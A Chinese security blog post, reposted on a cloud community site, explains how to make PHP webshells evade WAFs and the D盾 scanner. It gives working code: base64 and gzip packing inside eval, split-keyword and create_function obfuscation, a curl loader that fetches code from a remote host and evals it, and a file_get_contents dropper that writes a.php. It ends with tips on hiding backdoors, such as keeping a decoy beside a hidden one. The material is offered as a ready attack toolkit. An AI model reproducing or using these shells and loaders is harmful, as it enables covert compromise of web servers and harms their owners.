专栏首页信安之路webshell 常见 Bypass waf 技巧总结

webshell 常见 Bypass waf 技巧总结

本文作者:s9mf

对于很多,和我一样刚刚入门,或者还在门边徘徊的小伙伴们,在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷。

一篇好的文章,内容可以差,目录一定要 ~~ 吹牛 ~~ 真实。

一. webshell 免杀

0x0 php 内置函数加密

小例子: 在制作免杀大马之前,我们先来看看,一个带后门的免杀 php 大马是如何制作的。

在后门网站 webshell8 下载好大马。

去掉那些混淆代码 . '' 可以看到他大概是这样的。

 <?phpeval(gzinflate(base64_decode('大马源码')));?>  

有些小伙伴看到这里可能有些晕晕的,关于这款大马的分析,我博客文章

http://kaurkd.coding.me/2018/03/17/%E5%88%86%E6%9E%90%E6%9F%90%E8%BF%87waf%E5%A4%A7%E9%A9%AC/#more

分析过了了,就不再啰嗦了。关于这篇文章提一下使用 echo print_r 打印出来还是乱或者弹个小框框的时候,burp 抓包很方便。

源码加密

php 内置加密函数,其实就是那些编码压缩之类的函数,如下常见的函数

 压缩函数: gzcompress   gzdeflate  gzencode  base64_encode  解压函数: gzuncompress gzinflate  gzdecode  base64_decode

搭配加密函数,随意搭配,多层加密也 OK。

base64_encode(gzcompress($code)) base64_encode(gzdeflate($code));

我简单写了个脚本,大家对应修改就OK

 $code= file_get_contents('D:\phpStudy\WWW\Test\Zlib\help.txt'); //大马源码路径$encode = base64_encode(gzdeflate($code));  //加密函数自己修改就行echo $encode; //输出加密后代码

我演示一遍

把大马去掉 <?php ?> 保存为 txt

加密后:

运行encode.php在浏览器上得到加密

复制到代码中

OK 没问题

接下来的问题就是关键字免杀的问题

 eval(gzinflate(base64_decode()))

我直接用那款大马混淆过的关键字拿来用

 $password='';$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'加密后的代码')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

0x1 php 自定义加密

一图胜千言

0x2 敏感函数免杀

主要是关键字的免杀,我一般直接偷网上带后门大马的。分享一个思路

这是love71表哥分享的

 <?php$l='baSe6';$o='4_dE';$v='cO';$e='DE';$love=$l.$o.$v.$e;$a=$love('PHP大马BASE64加密内容');eval($a=$a);?>

我的思路很简单,把下面这段 base64 加密后

 eval(gzinflate(base64_decode('大马加密后')));

然后嵌套到上面的代码

用 D 盾查杀 1 级

那么如何让 D 盾完全免杀呢,我简单修改了下。

 <?php$l='baSe6';$o='4_dE';$v='cO';$e='DE';$love=$l.$o.$v.$e;$a=$love('PHP大马BASE64加密内容');eval/**/(/**/(/**/$a=$a)/**/);

这让我想起,D 哥的一条微博,不禁菊花一紧。。

且用且珍惜。

二. 更小更方便

为了减小大马体积,我们常常使用 php 读取网络文件 curl, fsockopen ,file_get_contents 函数,这样的大马整体体积甚至只有几百字节,但是要注意,目标网站要是禁用了,远程读取的某个函数,别喷我这样的大马根本不法运行,还有读取效率问题。

0x3 服务器远程读取

此段代码(抄袭)借鉴自 szrzvdny 表哥

     $ch = curl_init(); //初始化函数    $timeout = 5;     //设置超时    curl_setopt ($ch, CURLOPT_URL, 'http://www.xxx.com/233.txt'); //设置你文件地址    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);    $file_contents = curl_exec($ch);  //运行curl,请求网页。    curl_close($ch);    //最后关闭curl_close();    eval($file_contents); //执行代码

233.txt 的内容,你直接把制作好的加密大马,去掉 <?php ?> 上传到网站上就 OK 了。

至于免杀问题,上面文章已经告诉你了,如果有兴趣可以去看我写的一个失败的大马文章

http://kaurkd.coding.me/2018/03/17/%E6%89%93%E9%80%A0%E4%B8%80%E6%AC%BE%E6%AF%941kb%E8%BF%98%E5%B0%8F%E7%9A%84%E5%85%8D%E6%9D%80%E5%A4%A7%E9%A9%AC/#more

扩展思路。

0x4 服务器远程下载

 <?php$a = 'http://www.xx.com/1.txt';$b = 'file'.'_g'.'et_'.'contents';$b = $b($a);file_put_contents('a.php',$b);

运行后在同目录下生成 a.php 内容为 1.txt

三. 后门隐藏与去除

关于后门的隐藏我不会给详细代码,只是分享一些,常见思路罢了(表哥可以把菜刀从我脖子拿开了嘛。。)

0x5 隐藏

收信代码网站简单 base64 加密就 OK 了?

别人很容易看出的,使用自定义加密函数,来混淆,拆分,还有赋值变量,替换 &p 还有框架挂后门,xss 平台,总之一句话,各种骚加密混淆。

这个也很重要,还有一个很猥琐的思路,多后门,给个明面看的后门,暗地还有一个后门。。

0x6 去除

首先,你得把大马代码解密出来,关于抓包不要本地测试,找台服务器,注释删除些代码来测试,常见后门关键字 geturl hmlogin等。。

本文分享自微信公众号 - 信安之路(xazlsec),作者:s9mf

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-04-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 代码审计之 zzzphp

    想想很久都没有发布代码审计的文章了,最近忙于开发任务加上最近状态不太好,哎研发dog。

    信安之路
  • php 后门隐藏技巧

    辛辛苦苦拿下的 shell,几天没看,管理员给删了。这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。

    信安之路
  • PHP 文件包含漏洞姿势总结

    文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注...

    信安之路
  • WordPress将http改成https导致后台无法进入的解决方法

    新建的WordPress站点,如果没有开启SSL访问支持就在WordPress的设置常规选项里将域名的http改成https,

    小雨编程
  • Huber Loss和Focal Loss的原理与实现

    Huber Loss主要用于解决回归问题中,存在奇点数据带偏模型训练的问题;Focal Loss主要解决分类问题中类别不均衡导致的模型训偏问题。

    CodeInHand
  • 服务器架设笔记——多模块和全局数据

            随着项目工程的发展,多模块设计和性能优化是在所难免的。本文我将基于一些现实中可能遇到的需求,讲解如何在Apache的Httpd插件体系中实现这些...

    方亮
  • 房贷选择之银行选择(工厂模式)

    之前我们找了一家银行进行了房贷资讯,房贷计算。今天我们去售楼部转了一下,哇哇这么多银行啊……我要选哪家呢?

    大话swift
  • Tomcat下配置HTTPS单向认证

    <Connector port="8443" protocol="org.apache.coyote.http11.Http11Protocol" SSL...

    Learning_斌
  • 代码审计基础(一)

    mvc是一种使用MVC(model view controller 模型-视图-控制器),设计创建web应用程序的模式。

    天钧
  • 轻松学Pytorch-使用卷积神经网络实现图像分类

    大家好,本篇教程的贡献者来自社区投稿作者【陨星落云】,使用CIFAR-10数据集进行图像分类。该数据集中的图像是彩色小图像,其中被分为了十类。一些示例图像,如下...

    OpenCV学堂

扫码关注云+社区

领取腾讯云代金券